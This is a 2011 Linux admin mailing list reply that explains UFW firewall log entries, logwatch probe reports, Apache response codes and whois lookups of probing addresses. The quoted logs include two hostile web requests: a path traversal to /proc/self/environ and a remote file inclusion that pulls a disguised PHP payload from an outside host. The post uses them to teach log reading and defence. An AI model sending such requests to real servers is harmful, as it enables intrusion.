Re: UFW logging

[terry white <twhite@xxxxxxxxxx>]

... ciao:
 
: on "12-20-2011" "Dermot Paikkos" writ:
: I have thousands of entries in my logwatch reports:

   this from an hourly "Active System Attack Alerts" report.

"Dec 17 20:14:47 aniota kernel: Packet log: input REJECT ppp0 PROTO=6
 218.53.151.177:6000 63.225.163.145:1433 L=40 S=0x00 I=256 F=0x0000 
 T=106  SYN (#8)
 
    as a general rule, size of these reports tends to suggest how active, 
system breach attempts, are.  typically, 10K was seen as notable, lately, 
i'm seeing 40-80K per hour.  t`would seem the natives are restless.


: A total of 5711 sites probed the server 
:     1.152.198.116
:     1.22.185.5
:     1.23.105.130
:     1.38.24.232
:     1.38.25.24
:     1.39.95.219
:     1.53.101.185
:     101.108.239.43
: 
: I'm not sure what the above probes are.
 
   that, if complete, tells you where the probes initiated.  i have a vt 
running "lynx" pointed at arin to do arin, ripe, lookups. for instance:
 
   re: 1.152.198.116
 
   "Network
    NetRange 1.0.0.0 - 1.255.255.255
    CIDR 1.0.0.0/8
    Name APNIC-1
    Handle NET-1-0-0-0-1
    Parent
    Net Type Allocated to APNIC"  from 'arin';

  "inetnum:        1.128.0.0 - 1.159.255.255
   netname:        TELSTRAINTERNET49-AU
   descr:          Telstra
   descr:          Level 12, 242 Exhibition St
   descr:          Melbourne
   descr:          VIC  3000
   country:        AU"            from "apnic".
 

: I also have several entries like this:

: A total of 4 possible successful probes were detected (the following 
: URLs  contain strings that match one or more of a listing of strings that
: indicate a possible exploit):
:
: /images/?option=com_sectionex&controller=../../../../../../../../../../.
: ./../..//proc/self/environ%0000 HTTP Response 200 
: I believe these are php exploits.
 
    the "HTTP Response 200", on the surface of it, is troublesome.  
HOWEVER, the http (apache) logs are a more telling indicator of what served 
up.
 
    "217.26.127.140 - - [20/Dec/2011:01:43:57 -0800] "GET 
     //wp-content/plugins/rekt-slideshow/picsize.php?
     src=http://blogger.com.1mmt.ru/flash/a.gif.php 
     HTTP/1.1" 404 356"
 
    here the "HTTP/1.1" 404" means the reqyest was not satisfied.
  
    error codes are your friend.


: To help secure the server, I installed UFW, enabled and allowed HTTP, 
: HTTPS and SSH. I then monitored the logs to see what was happening. What 
: I am not clear on is what service the log entries below refer to.
: 
: Dec 20 13:10:35 myserver kernel: [4808284.769172] [UFW BLOCK]
: IN=eth0 OUT= MAC=00:16:3e:1e:65:85:00:0a:b7:96:5c:80:08:00
: SRC=194.27.44.2 DST=217.222.0.x LEN=52 TOS=0x00 PREC=0x00 TTL=109
: ID=10243 DF PROTO=TCP SPT=6565 DPT=80 WINDOW=4320 RES=0x00 ACK FIN
: URGP=0

    "PROTO=TCP SPT=6565 DPT=80"

    'DPT=80' is the "destination port", YOU. 
  
    from "/etc/services"

    "# service-name  port/protocol  [aliases ...]   [# comment]
       http          80/tcp         www www-http    # WorldWideWeb HTTP
       http          80/udp         www www-http    # HTTP"
 
    so, here we are seeing 'http' processed, however, i am not convinced it 
being blocked at all.  from your supplied rules, looks like http wide open 
...


: Chain ufw-user-input (1 references)
:     pkts      bytes target     
:    29164    1620981 ACCEPT       tcp dpt:80 /* 'dapp_Apache' */


-- 
... it's not what you see ,
    but in stead , notice ...
--
To unsubscribe from this list: send the line "unsubscribe linux-admin" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at  http://vger.kernel.org/majordomo-info.html